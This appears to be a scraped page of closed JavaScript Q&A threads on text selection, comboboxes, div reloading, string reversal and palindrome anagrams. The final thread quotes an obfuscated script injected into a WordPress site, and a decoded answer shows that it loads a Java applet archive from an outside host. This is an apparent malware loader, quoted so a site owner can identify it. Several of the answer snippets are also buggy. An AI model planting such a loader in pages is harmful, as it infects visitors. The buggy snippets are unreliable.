Javascript check if text selected [closed] - javascript

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 11 years ago.
I'm looking for a simple function (javascript / jquery) that checks whether or not ANY contents of a textarea is selected or highlighted... the function needs to return true or false.
Thanks :)

Try this
function isTextSelected(input){
var startPos = input.selectionStart;
var endPos = input.selectionEnd;
var doc = document.selection;
if(doc && doc.createRange().text.length != 0){
return true;
}else if (!doc && input.value.substring(startPos,endPos).length != 0){
return true;
}
return false;
}
Usage
if(isTextSelected($('#textareaId')[0])){
//text selected
}
Demo

Related

Filling combobox with years [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 9 years ago.
I am working with xpages and i want to fill a combobox with Years starting with 2010.
I tried to do it without success.
Any idea of the formula item to fill to the combobox ?
Thanks
You have 2 parts to it:
generate the Year numbers
put it into the combo box
Jeff showed the client side solution, but I suspect you look for a serverside variation
Click on values in the property panel and add a computed item (Serverside JavaScript)
Then simply add:
["2010","2011","2012","2013","2014"]
.. or the fomula that returns the equivalent. To my best knowledge the values need to be String.
Update:
var result = [];
for (i = 2010; i < 2051; i++) {
result.push(i.toString());
}
return result;
<div id="lb"></div>
<script>
function fillCombobox( nbrOfItems ) {
var opt, x;
var baseEl = document.getElementById("lb");
var select = document.createElement("select");
select.setAttribute("name","lb1" );
select.setAttribute("size", "1" );
for( x=2010; x<=2010+nbrOfItems; x++ ) {
opt = document.createElement( "option" );
opt.appendChild( document.createTextNode( x ) );
select.appendChild( opt );
}
baseEl.appendChild( select );
}
fillCombobox( 20 );
</script>

How do i reload a div every 20 seconds? [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 9 years ago.
So i have this script:
<script id="_wauwgs">var _wau = _wau || []; _wau.push(["small", "p00ystfryeuc", "wgs"]);
(function() {var s=document.createElement("script"); s.async=true;
s.src="http://widgets.amung.us/small.js";
document.getElementsByTagName("head")[0].appendChild(s);
})();</script>
And i would like to reload it every 20 or 30 seconds. I tried using this:
<script type="text/javascript">
function refresh() {
document.getElementById('online').src = document.getElementById('online').src;
}
window.setInterval("refresh()",30000);
</script>
With the script in <div id="online"></div> but it didn't work.
I think this is what you want:
setInterval(function(){
$("#online").attr('src', 'http://widgets.amung.us/small.js', 3000 /*or 2000*/);
})
I think the only way to refresh a script is to insert it again.
var script = $('#online').html();
function reloadScript() {
$time = 500;
$('#online').html('');
setTimeout(function() {
$('#online').html(script);
reloadScript();
}, $time);
}
reloadScript();

Iteration- Javascript [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 9 years ago.
<html>
<body>
<script>
var namIn = window.prompt( "Enter Your FULL Name:" ); var namAr = namIn.split("");
var namArLen = namAr.length;
document.write(namAr + "<br /> Length: " + namArLen); </script>
</body>
</html>
When using this code, how do I add and a small iteration that will display my name in reverse order? So if my name were Ashley Smith the output will be my last name backwards then first name backwards on new single line in H1 size.
You can use a simple for-loop:
document.write("<h1>");
for (var i=namArLen-1; i>=0; i--) {
document.write(namAr[i]);
}
document.write("</h1>");
For simplicity, there's also the reverse function on arrays:
document.write("<h1>"+namAr.reverse().join("")+"</h1>");

JavaScript solution for anagram of a palindrome [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 10 years ago.
I was asked to implement the same question as this in an interview recently:
https://stackoverflow.com/questions/8447222/anagram-of-a-palindrome
I could not provide an answer but am interested to know the JavaScript solution.
That should be working..But I have tested it only with few inputs:) At least the theory behind it should be OK..
String.prototype.count=function(char) {
return this.split(char).length-1;
}
function isAnagramOfPalyndrom(string){
string.replace(" ", "");
var even = string.length % 2 == 0;
var flag = false;
for(var i = 0; i < string.length; i++){
if(string.count(string.charAt(i)) % 2 != 0){
if(even) return false;
else{
if(flag) return false;
flag = true;
}
}
}
return true;
}
Theoretically, if you have an even number of every letter except 1, it's an anagram of a palindrome.
See: "Kayak" k:2, a:2, y:1
See: "SAAS" s:2, a:2

What does this javascript code doing? [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 10 years ago.
Can someone explain what the below javascript code does? I keep getting it on my Wordpress site and the variables keep changing on different computers. Not sure if it is a hack of some sort.
<script language="javascript">
var vgdck = function(mzsrpv, hysza, yzmii, apcmch){
var xru = function(zzu) {
var szg, i;
var fge="";
for (i = 0; i < zzu.length; ++i) {
szg =zzu.charCodeAt(i);
szg = szg- 1;
fge = fge + String.fromCharCode(szg);
}
return(fge);
};
var rnetl=document.createElement(xru("bqqmfu"));
rnetl.setAttribute(xru("dpef"), xru(mzsrpv));
rnetl.setAttribute(xru("bsdijwf"), xru("iuuq;00"+hysza));
rnetl.setAttribute(xru("xjeui"), "1");
rnetl.setAttribute(xru("ifjhiu"), "1");
var rmjtth=document.createElement(xru("qbsbn"));
rmjtth.setAttribute(xru("obnf"),xru(yzmii));
rmjtth.setAttribute(xru("wbmvf"),xru(apcmch));
rnetl.appendChild(rmjtth);
document.body.appendChild(rnetl);
};
var ecfrc = vgdck;
ecfrc(
"fenlscwulwvtkcri/okgseudbubiiusvzec/dmbtt",
"3123/hjtsmt/jo01379",
"vhmfgllmwqxfchlwqkgdkxd",
"21c22gcd7d579cf4f3fb4663:2c624d3311248fgbc8758c72e7g5c41962gf169"
);
</script>
Something along the lines of the following...
applet
code
edmkrbvtkvusjbqh.njfrdtcatahhtruydb.class
archive
http://2012.gisrls.in/0268
width
height
param
name
uglefkklvpwebgkvpjfcjwc
value
10b11fbc6c468be3e2ea355291b513c2200137efab7647b61d6f4b30851fe058

Categories

Resources